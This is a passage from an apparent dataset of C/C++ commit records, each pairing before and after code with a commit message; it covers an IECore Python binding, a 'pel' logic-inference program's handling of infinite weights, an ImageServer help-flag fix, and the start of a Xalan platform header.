\r\n}\r\n\/\/This code will need to be moved to main_game later.\r\n\/*Initialization of the game*\/\r\nint gameInit(){\r\n  x_position = 0;\r\n  y_position = 0;\r\n  orientation = WEST;\r\n  end_x = 3;\r\n  end_y = 3;\r\n\r\n  initTextures();\r\n  initMusic();\r\n  reshape(SCREEN_WIDTH,SCREEN_HEIGHT);\r\n  return 0;\r\n}\r\n\r\nint gameDeInit(){\r\n  if(isAudioPlaying())\r\n    stopAllAudio();\r\n  freeTextures();\r\n  freeMusic();\r\n  return 0;\r\n}\r\n\r\n\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2007, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/     * Neither the name of Image Engine Design nor the names of any\n\/\/       other contributors to this software may be used to endorse or\n\/\/       promote products derived from this software without specific prior\n\/\/       written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ This include needs to be the very first to prevent problems with warnings \n\/\/ regarding redefinition of _POSIX_C_SOURCE\n#include <boost\/python.hpp>\n\n#include \"IECore\/Data.h\"\n#include \"IECore\/bindings\/DataBinding.h\"\n#include \"IECore\/bindings\/IntrusivePtrPatch.h\"\n#include \"IECore\/bindings\/RunTimeTypedBinding.h\"\n\n\nusing namespace boost::python;\n\nnamespace IECore\n{\n\nvoid bindData()\n{\n\ttypedef class_< Data, boost::noncopyable, DataPtr, bases<Object> > DataPyClass;\n\tDataPyClass (\"Data\", \"An abstract base class for data storage.\", no_init)\n\t\t.IE_COREPYTHON_DEFRUNTIMETYPEDSTATICMETHODS( Data )\n\t;\n\n\tINTRUSIVE_PTR_PATCH( Data, DataPyClass );\n\n\timplicitly_convertible<DataPtr, ObjectPtr>();\n\n\t\/\/\/ \\todo:\n\t\/\/\/ add the conversion between a ptr and the const ptr for child elements\n\timplicitly_convertible<DataPtr, ConstDataPtr>();\n}\n}\n<commit_msg>Removed todo which noone understands.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2007, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/     * Neither the name of Image Engine Design nor the names of any\n\/\/       other contributors to this software may be used to endorse or\n\/\/       promote products derived from this software without specific prior\n\/\/       written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ This include needs to be the very first to prevent problems with warnings \n\/\/ regarding redefinition of _POSIX_C_SOURCE\n#include <boost\/python.hpp>\n\n#include \"IECore\/Data.h\"\n#include \"IECore\/bindings\/DataBinding.h\"\n#include \"IECore\/bindings\/IntrusivePtrPatch.h\"\n#include \"IECore\/bindings\/RunTimeTypedBinding.h\"\n\n\nusing namespace boost::python;\n\nnamespace IECore\n{\n\nvoid bindData()\n{\n\ttypedef class_< Data, boost::noncopyable, DataPtr, bases<Object> > DataPyClass;\n\tDataPyClass (\"Data\", \"An abstract base class for data storage.\", no_init)\n\t\t.IE_COREPYTHON_DEFRUNTIMETYPEDSTATICMETHODS( Data )\n\t;\n\n\tINTRUSIVE_PTR_PATCH( Data, DataPyClass );\n\n\timplicitly_convertible<DataPtr, ObjectPtr>();\n\timplicitly_convertible<DataPtr, ConstDataPtr>();\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/============================================================================\n\/\/ Name        : pel.cpp\n\/\/ Author      : Joe Selman\n\/\/ Version     :\n\n\/\/============================================================================\n\n#include \"PELConfig.h\"\n\n#include <boost\/program_options.hpp>\n#include <boost\/tuple\/tuple.hpp>\nnamespace po = boost::program_options;\n#include <boost\/foreach.hpp>\n#include <iostream>\n#include <cstdio>\n#include <string>\n#include <vector>\n#include <utility>\n#include <ctime>\n#include <map>\n#include <cstdlib>\n#include \"pel.h\"\n#include \"logic\/el_syntax.h\"\n#include \"logic\/folparser.h\"\n#include \"logic\/domain.h\"\n#include \"log.h\"\n#include \"logic\/moves.h\"\n#include \"inference\/maxwalksat.h\"\n#include \"logic\/unit_prop.h\"\n\n\nint main(int argc, char* argv[]) {\n    try {\n        \/\/ Declare the supported options.\n        po::options_description desc(\"Allowed options\");\n        desc.add_options()\n            (\"help\", \"produce help message\")\n            (\"version,v\", \"print version and exit\")\n            (\"max\", po::value<unsigned int>(), \"maximum value an interval endpoint can take\")\n            (\"min\", po::value<unsigned int>(), \"minimum value an interval endpoint can take\")\n            (\"evalModel,e\", \"simply print the model weight of the facts file\")\n            (\"prob,p\", po::value<double>()->default_value(0.25), \"probability of taking a random move\")\n            (\"iterations,i\", po::value<unsigned int>()->default_value(1000), \"number of iterations before returning a model\")\n            (\"output,o\", po::value<std::string>(), \"output model file\")\n            (\"unitProp,u\", \"perform unit propagation only and exit\")\n            (\"datafile,d\", po::value<std::string>(), \"log scores from maxwalksat to this file (csv form)\")\n        ;\n\n        po::options_description hidden(\"Hidden options\");\n        hidden.add_options()\n            (\"facts-file\", po::value<std::string>(), \"facts file\")\n            (\"formula-file\", po::value<std::string>(), \"formula file\")\n        ;\n        po::positional_options_description p;\n        p.add(\"facts-file\", 1);\n        p.add(\"formula-file\", 1);\n\n        po::options_description cmdline_options;\n        cmdline_options.add(desc).add(hidden);\n\n        po::variables_map vm;\n        po::store(po::command_line_parser(argc, argv).options(cmdline_options).positional(p).run(), vm);\n        po::notify(vm);\n\n        if (vm.count(\"version\")) {\n            std::cout << \"pel version \" << PEL_VERSION_MAJOR << \".\" << PEL_VERSION_MINOR << std::endl;\n            return EXIT_SUCCESS;\n        }\n\n        if (vm.count(\"help\") || !vm.count(\"facts-file\") || !vm.count(\"formula-file\")) {\n            std::cout << \"Usage: pel [OPTION]... FACT-FILE FORMULA-FILE\" << std::endl;\n            std::cout << desc << std::endl;\n            return EXIT_FAILURE;\n        }\n\n        \/\/ setup our logging facilities\n        FILE* debugFile = fopen(\"debug.log\", \"w\");\n        if (!debugFile) std::cerr << \"unable to open debug.log for logging - logging to stderr\";\n        else FilePolicy::stream() = debugFile;\n        FileLog::globalLogLevel() = LOG_DEBUG;\n\n        LOG(LOG_INFO) << \"Opened log file for new session\";\n\n        \/\/ make sure we can open the output model file, if specified\n        FILE* outputFile = NULL;\n        if (vm.count(\"output\")) {\n            outputFile = fopen(vm[\"output\"].as<std::string>().c_str(), \"w\");\n            if (!outputFile) {\n                std::cerr << \"unable to open output file \\\"\" << vm[\"output\"].as<std::string>() << \"\\\" for writing.\" << std::endl;\n                return EXIT_FAILURE;\n            }\n        }\n\n        Domain d = FOLParse::loadDomainFromFiles(vm[\"facts-file\"].as<std::string>(), vm[\"formula-file\"].as<std::string>());\n        if (vm.count(\"max\") || vm.count(\"min\")) {\n            Interval maxInt = d.maxInterval();\n            if (vm.count(\"max\")) maxInt.setFinish(vm[\"max\"].as<unsigned int>());\n            if (vm.count(\"min\")) maxInt.setStart(vm[\"min\"].as<unsigned int>());\n            d.setMaxInterval(maxInt);\n        }\n\n        Model model = d.defaultModel();\n\n        LOG_PRINT(LOG_INFO) << \"model size: \" << model.size();\n\n\n        if (vm.count(\"evalModel\")) {\n            LOG(LOG_INFO) << \"evaluating model...\";\n            unsigned long sum = 0;\n            \/\/ evaluate the weight of each formula in the domain\n            for(Domain::formula_const_iterator it = d.formulas_begin(); it != d.formulas_end(); it++) {\n                ELSentence formula = *it;\n                \/\/SISet satisfied = d->satisfied(*(formula.sentence()), model);\n                SISet satisfied = formula.sentence()->dSatisfied(model, d);\n                unsigned long weight = d.score(formula, model);\n                sum += weight;\n                LOG_PRINT(LOG_INFO) << \"formula: (\" << formula.sentence()->toString() << \")\";\n                LOG_PRINT(LOG_INFO) << \"\\tsatisfied @ \" << satisfied.toString();\n                LOG_PRINT(LOG_INFO) << \"\\tscore contributed: \" << weight;\n            }\n            LOG_PRINT(LOG_INFO) << \"total score of model: \" << sum;\n        } else {\n            if (vm.count(\"unitProp\")) {\n                LOG_PRINT(LOG_INFO) << \"running unit propagation...\";\n                QUnitsFormulasPair reducedforms = performUnitPropagation(d);\n                \/\/ TODO: enforce the unit props better.  for now we are just adding\n                \/\/ them to the formula set.\n                d.clearFormulas();\n                std::stringstream newForms;\n                newForms << \"Unit Clauses:\\n\";\n                for (QCNFLiteralList::iterator it = reducedforms.first.begin(); it != reducedforms.first.end(); it++) {\n                    ELSentence newS = convertFromQCNFClause(*it);\n                    if (newS.hasInfWeight()) newS.setWeight(100);   \/\/ high enough for now?\n                    newForms << \"\\t\" << newS << \"\\n\";\n                    d.addFormula(newS);\n                }\n                newForms << \"formulas:\\n\";\n                for (QCNFClauseList::const_iterator it = reducedforms.second.begin(); it != reducedforms.second.end(); it++) {\n                    ELSentence newS = convertFromQCNFClause(*it);\n                    if (newS.hasInfWeight()) newS.setWeight(100);   \/\/ high enough for now?\n                    newForms << \"\\t\" << newS << \"\\n\";\n                    d.addFormula(newS);\n                }\n                LOG(LOG_INFO) << \"unit prop completed.\\n\" << newForms.str();\n\n            }\n            double p = vm[\"prob\"].as<double>();\n            unsigned int iterations = vm[\"iterations\"].as<unsigned int>();\n\n            LOG(LOG_INFO) << \"searching for a maximum-weight model, with p=\" << p << \" and iterations=\" << iterations;\n            Model defModel = d.defaultModel();\n\n            std::fstream datastream;\n            if(vm.count(\"datafile\")) {\n                datastream.open(vm[\"datafile\"].as<std::string>().c_str(), std::fstream::out);\n                if (datastream.fail()) {\n                    LOG_PRINT(LOG_ERROR) << \"unable to open file \\\"\" << vm[\"datafile\"].as<std::string>() << \"\\\" for data file storage.\";\n                }\n            }\n            Model maxModel(d.maxInterval());\n            if (datastream.is_open() && datastream.good()) {\n                maxModel = maxWalkSat(d, iterations, p, &defModel, &datastream);\n            } else {\n                maxModel = maxWalkSat(d, iterations, p, &defModel, 0);\n            }\n\n            if (datastream.is_open()) datastream.close();\n\n            LOG_PRINT(LOG_INFO) << \"Best model found: \" << std::endl;\n            LOG_PRINT(LOG_INFO) << maxModel.toString();\n            if (vm.count(\"output\")) {\n                \/\/ log it to the output file as well\n                fprintf(outputFile, \"# generated from fact file \\\"%s\\\" and formula file \\\"%s\\\"\\n\",\n                        vm[\"facts-file\"].as<std::string>().c_str(),\n                        vm[\"formula-file\"].as<std::string>().c_str());\n                std::string timeStr;\n                {\n                    time_t rawtime;\n                    struct tm * timeinfo;\n                    time (&rawtime);\n                    timeinfo = localtime (&rawtime);\n                    timeStr = asctime(timeinfo);\n                }\n                fprintf(outputFile, \"# generated on %s\\n\", timeStr.c_str());\n                fprintf(outputFile, \"# run with %d iterations and %g chance of choosing a random move\\n\",\n                         iterations,\n                        p);\n                fputs(maxModel.toString().c_str(), outputFile);\n            }\n        }\n\n        \/\/ Should be good and close files?\n        return EXIT_SUCCESS;\n    } catch (std::exception& e) {\n        std::cerr << \"Exception : \" << e.what() << std::endl;\n        return EXIT_FAILURE;\n    } catch (...) {\n        std::cerr << \"Unknown exception occurred\" << std::endl;\n        return EXIT_FAILURE;\n    }\n}\n<commit_msg>updated code to work with infinitely-weighted formulas<commit_after>\/\/============================================================================\n\/\/ Name        : pel.cpp\n\/\/ Author      : Joe Selman\n\/\/ Version     :\n\n\/\/============================================================================\n\n#include \"PELConfig.h\"\n\n#include <boost\/program_options.hpp>\n#include <boost\/tuple\/tuple.hpp>\nnamespace po = boost::program_options;\n#include <boost\/foreach.hpp>\n#include <iostream>\n#include <cstdio>\n#include <string>\n#include <vector>\n#include <utility>\n#include <ctime>\n#include <map>\n#include <cstdlib>\n#include \"pel.h\"\n#include \"logic\/el_syntax.h\"\n#include \"logic\/folparser.h\"\n#include \"logic\/domain.h\"\n#include \"log.h\"\n#include \"logic\/moves.h\"\n#include \"inference\/maxwalksat.h\"\n#include \"logic\/unit_prop.h\"\n\n\nint main(int argc, char* argv[]) {\n    try {\n        \/\/ Declare the supported options.\n        po::options_description desc(\"Allowed options\");\n        desc.add_options()\n            (\"help\", \"produce help message\")\n            (\"version,v\", \"print version and exit\")\n            (\"max\", po::value<unsigned int>(), \"maximum value an interval endpoint can take\")\n            (\"min\", po::value<unsigned int>(), \"minimum value an interval endpoint can take\")\n            (\"evalModel,e\", \"simply print the model weight of the facts file\")\n            (\"prob,p\", po::value<double>()->default_value(0.25), \"probability of taking a random move\")\n            (\"iterations,i\", po::value<unsigned int>()->default_value(1000), \"number of iterations before returning a model\")\n            (\"output,o\", po::value<std::string>(), \"output model file\")\n            (\"unitProp,u\", \"perform unit propagation only and exit\")\n            (\"datafile,d\", po::value<std::string>(), \"log scores from maxwalksat to this file (csv form)\")\n        ;\n\n        po::options_description hidden(\"Hidden options\");\n        hidden.add_options()\n            (\"facts-file\", po::value<std::string>(), \"facts file\")\n            (\"formula-file\", po::value<std::string>(), \"formula file\")\n        ;\n        po::positional_options_description p;\n        p.add(\"facts-file\", 1);\n        p.add(\"formula-file\", 1);\n\n        po::options_description cmdline_options;\n        cmdline_options.add(desc).add(hidden);\n\n        po::variables_map vm;\n        po::store(po::command_line_parser(argc, argv).options(cmdline_options).positional(p).run(), vm);\n        po::notify(vm);\n\n        if (vm.count(\"version\")) {\n            std::cout << \"pel version \" << PEL_VERSION_MAJOR << \".\" << PEL_VERSION_MINOR << std::endl;\n            return EXIT_SUCCESS;\n        }\n\n        if (vm.count(\"help\") || !vm.count(\"facts-file\") || !vm.count(\"formula-file\")) {\n            std::cout << \"Usage: pel [OPTION]... FACT-FILE FORMULA-FILE\" << std::endl;\n            std::cout << desc << std::endl;\n            return EXIT_FAILURE;\n        }\n\n        \/\/ setup our logging facilities\n        FILE* debugFile = fopen(\"debug.log\", \"w\");\n        if (!debugFile) std::cerr << \"unable to open debug.log for logging - logging to stderr\";\n        else FilePolicy::stream() = debugFile;\n        FileLog::globalLogLevel() = LOG_DEBUG;\n\n        LOG(LOG_INFO) << \"Opened log file for new session\";\n\n        \/\/ make sure we can open the output model file, if specified\n        FILE* outputFile = NULL;\n        if (vm.count(\"output\")) {\n            outputFile = fopen(vm[\"output\"].as<std::string>().c_str(), \"w\");\n            if (!outputFile) {\n                std::cerr << \"unable to open output file \\\"\" << vm[\"output\"].as<std::string>() << \"\\\" for writing.\" << std::endl;\n                return EXIT_FAILURE;\n            }\n        }\n\n        Domain d = FOLParse::loadDomainFromFiles(vm[\"facts-file\"].as<std::string>(), vm[\"formula-file\"].as<std::string>());\n        if (vm.count(\"max\") || vm.count(\"min\")) {\n            Interval maxInt = d.maxInterval();\n            if (vm.count(\"max\")) maxInt.setFinish(vm[\"max\"].as<unsigned int>());\n            if (vm.count(\"min\")) maxInt.setStart(vm[\"min\"].as<unsigned int>());\n            d.setMaxInterval(maxInt);\n        }\n\n        Model model = d.defaultModel();\n\n        LOG_PRINT(LOG_INFO) << \"model size: \" << model.size();\n\n\n        if (vm.count(\"evalModel\")) {\n            LOG(LOG_INFO) << \"evaluating model...\";\n            unsigned long sum = 0;\n            \/\/ evaluate the weight of each formula in the domain\n            for(Domain::formula_const_iterator it = d.formulas_begin(); it != d.formulas_end(); it++) {\n                ELSentence formula = *it;\n                \/\/SISet satisfied = d->satisfied(*(formula.sentence()), model);\n                SISet satisfied = formula.sentence()->dSatisfied(model, d);\n                unsigned long weight = d.score(formula, model);\n                sum += weight;\n                LOG_PRINT(LOG_INFO) << \"formula: (\" << formula.sentence()->toString() << \")\";\n                LOG_PRINT(LOG_INFO) << \"\\tsatisfied @ \" << satisfied.toString();\n                LOG_PRINT(LOG_INFO) << \"\\tscore contributed: \" << weight;\n            }\n            LOG_PRINT(LOG_INFO) << \"total score of model: \" << sum;\n        } else {\n            if (vm.count(\"unitProp\")) {\n                LOG_PRINT(LOG_INFO) << \"running unit propagation...\";\n                QUnitsFormulasPair reducedforms = performUnitPropagation(d);\n                \/\/ TODO: enforce the unit props better.  for now we are just adding\n                \/\/ them to the formula set.\n                Domain newD;\n\n                std::stringstream newForms;\n                newForms << \"Unit Clauses:\\n\";\n                for (QCNFLiteralList::iterator it = reducedforms.first.begin(); it != reducedforms.first.end(); it++) {\n                    ELSentence newS = convertFromQCNFClause(*it);\n                    newS.setHasInfWeight(true);\n                    newForms << \"\\t\" << newS << \"\\n\";\n                    newD.addFact(newS);\n                }\n                newForms << \"formulas:\\n\";\n                for (QCNFClauseList::const_iterator it = reducedforms.second.begin(); it != reducedforms.second.end(); it++) {\n                    ELSentence newS = convertFromQCNFClause(*it);\n                    \/\/ should have inf weight\n                    newS.setHasInfWeight(true);\n                    newForms << \"\\t\" << newS << \"\\n\";\n                    newD.addFormula(newS);\n                }\n                LOG(LOG_INFO) << \"unit prop completed.\\n\" << newForms.str();\n\n                \/\/ copy in all the unweighted formulas from the original d\n                for (Domain::formula_const_iterator it = d.formulas_begin(); it != d.formulas_end(); it++) {\n                    if (!it->hasInfWeight()) newD.addFormula(*it);\n                }\n                \/\/ replace the old form\n                d = newD;\n\n            }\n            double p = vm[\"prob\"].as<double>();\n            unsigned int iterations = vm[\"iterations\"].as<unsigned int>();\n\n            \/\/ rewrite all our infinite weighted sentences\n            LOG(LOG_INFO) << \"rewriting infinite weights as pseudo-weights using factor of \" << Domain::hardFormulaFactor;\n            d = d.replaceInfForms();\n            LOG(LOG_INFO) << \"searching for a maximum-weight model, with p=\" << p << \" and iterations=\" << iterations;\n            Model defModel = d.defaultModel();\n\n            std::fstream datastream;\n            if(vm.count(\"datafile\")) {\n                datastream.open(vm[\"datafile\"].as<std::string>().c_str(), std::fstream::out);\n                if (datastream.fail()) {\n                    LOG_PRINT(LOG_ERROR) << \"unable to open file \\\"\" << vm[\"datafile\"].as<std::string>() << \"\\\" for data file storage.\";\n                }\n            }\n            Model maxModel(d.maxInterval());\n            if (datastream.is_open() && datastream.good()) {\n                maxModel = maxWalkSat(d, iterations, p, &defModel, &datastream);\n            } else {\n                maxModel = maxWalkSat(d, iterations, p, &defModel, 0);\n            }\n\n            if (datastream.is_open()) datastream.close();\n\n            LOG_PRINT(LOG_INFO) << \"Best model found: \" << std::endl;\n            LOG_PRINT(LOG_INFO) << maxModel.toString();\n            if (vm.count(\"output\")) {\n                \/\/ log it to the output file as well\n                fprintf(outputFile, \"# generated from fact file \\\"%s\\\" and formula file \\\"%s\\\"\\n\",\n                        vm[\"facts-file\"].as<std::string>().c_str(),\n                        vm[\"formula-file\"].as<std::string>().c_str());\n                std::string timeStr;\n                {\n                    time_t rawtime;\n                    struct tm * timeinfo;\n                    time (&rawtime);\n                    timeinfo = localtime (&rawtime);\n                    timeStr = asctime(timeinfo);\n                }\n                fprintf(outputFile, \"# generated on %s\\n\", timeStr.c_str());\n                fprintf(outputFile, \"# run with %d iterations and %g chance of choosing a random move\\n\",\n                         iterations,\n                        p);\n                fputs(maxModel.toString().c_str(), outputFile);\n            }\n        }\n\n        \/\/ Should be good and close files?\n        return EXIT_SUCCESS;\n    } catch (std::exception& e) {\n        std::cerr << \"Exception : \" << e.what() << std::endl;\n        return EXIT_FAILURE;\n    } catch (...) {\n        std::cerr << \"Unknown exception occurred\" << std::endl;\n        return EXIT_FAILURE;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include \"ImageServer.h\"\n#include <boost\/filesystem.hpp>\n\n#define STR_EXPAND(tok) #tok\n#define STR(tok) STR_EXPAND(tok)\n\nnamespace bfs = boost::filesystem;\n\n\/\/ PManandhar note: not preferred, used for demo\n\/\/ or short files\nusing namespace LMFocusStack;\nusing namespace std;\n\nint options(char ** argv) {\n  \/\/ Task 1.1: exit after help. Insert a flag after help, if that\n  \/\/ flag exists then exit the program in main; return 0.\n  \/\/ (Try to do this in the main function)\n  \n  const std::string help = \"--help\";\n  if (argv[1] == help) {\n    #include STR(L10N_LANG)\n    std::wcout << rstr_help << std::endl;\n    return -1;\n  }\n  else {\n    return 0;\n  }\n}\n\nint main(int argc, char ** argv) {\n  \n  if (options(argv) == -1){\n    std::cout << \"Program closing\" << std::endl;\n\n    return -1;\n    \n  }\n  else {\n    ImageServer server(argc, argv);\n    \n    return 0;\n  }\n    \n}\n<commit_msg>moved help feature to main<commit_after>#include <iostream>\n#include \"ImageServer.h\"\n\n#define STR_EXPAND(tok) #tok\n#define STR(tok) STR_EXPAND(tok)\n\n\/\/ PManandhar note: not preferred, used for demo\n\/\/ or short files\nusing namespace LMFocusStack;\nusing namespace std;\n\nint options(char ** argv) {\n  \/\/ Task 1.1: exit after help. Insert a flag after help, if that\n  \/\/ flag exists then exit the program in main; return 0.\n  \/\/ (Try to do this in the main function)\n  \n  const std::string help = \"--help\";\n  if (argv[1] == help) {\n    #include STR(L10N_LANG)\n    std::wcout << rstr_help << std::endl;\n    return -1;\n  }\n  else {\n    return 0;\n  }\n}\n\nint main(int argc, char ** argv) {\n  \n  if (argc >= 2 && options(argv) == -1){\n    std::cout << \"Program closing\" << std::endl;\n\n    return -1;\n    \n  }\n  else {\n    ImageServer server(argc, argv);\n    \n    return 0;\n  }\n    \n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999-2002 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(PLATFORMDEFINITIONS_HEADER_GUARD_1357924680)\n#define PLATFORMDEFINITIONS_HEADER_GUARD_1357924680\n\n#if defined(_MSC_VER)\n#include \"VCPPDefinitions.hpp\"\n#elif defined(__GNUC__)\n#include \"GCCDefinitions.hpp\"\n#elif defined(_AIX)\n#include \"AIXDefinitions.hpp\"\n#elif defined(__hpux)\n#include \"HPUXDefinitions.hpp\"\n#elif defined(SOLARIS)\n#include \"SolarisDefinitions.hpp\"\n#elif defined(OS390)\n#include \"OS390Definitions.hpp\"\n#elif defined(__DECCXX)\n#include \"TRU64Definitions.hpp\"\n#elif defined(__INTEL_COMPILER)\n#include \"IntelDefinitions.hpp\"\n#else\n#error Unknown compiler!\n#endif\n\n#include \"XalanVersion.hpp\"\n\n#if defined(__cplusplus)\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Define namespace symbols if the compiler supports it.\n\/\/ ---------------------------------------------------------------------------\n#if defined(XALAN_HAS_CPP_NAMESPACE)\n\t#define XALAN_CPP_NAMESPACE_BEGIN namespace XALAN_CPP_NAMESPACE {\n\t#define XALAN_CPP_NAMESPACE_END  }\n\t#define XALAN_CPP_NAMESPACE_USE using namespace XALAN_CPP_NAMESPACE;\n\t#define XALAN_CPP_NAMESPACE_QUALIFIER XALAN_CPP_NAMESPACE::\n\t#define XALAN_USING(NAMESPACE,NAME) using NAMESPACE :: NAME;\n\t#define XALAN_DECLARE_CLASS(NAMESPACE,NAME) namespace NAMESPACE { class NAME; }\n\t#define XALAN_DECLARE_STRUCT(NAMESPACE,NAME) namespace NAMESPACE { struct NAME; }\n\n\tnamespace XALAN_CPP_NAMESPACE { }\n\tnamespace xalanc = XALAN_CPP_NAMESPACE;\n#else\n\t#define XALAN_CPP_NAMESPACE_BEGIN\n\t#define XALAN_CPP_NAMESPACE_END\n\t#define XALAN_CPP_NAMESPACE_USE\n\t#define XALAN_CPP_NAMESPACE_QUALIFIER\n\t#define XALAN_USING(NAMESPACE,NAME)\n\t#define XALAN_DECLARE_CLASS(NAMESPACE,NAME) class NAME;\n\t#define XALAN_DECLARE_STRUCT(NAMESPACE,NAME) struct NAME;\n\t#if !defined(XALAN_NO_STD_NAMESPACE)\n\t\t#define 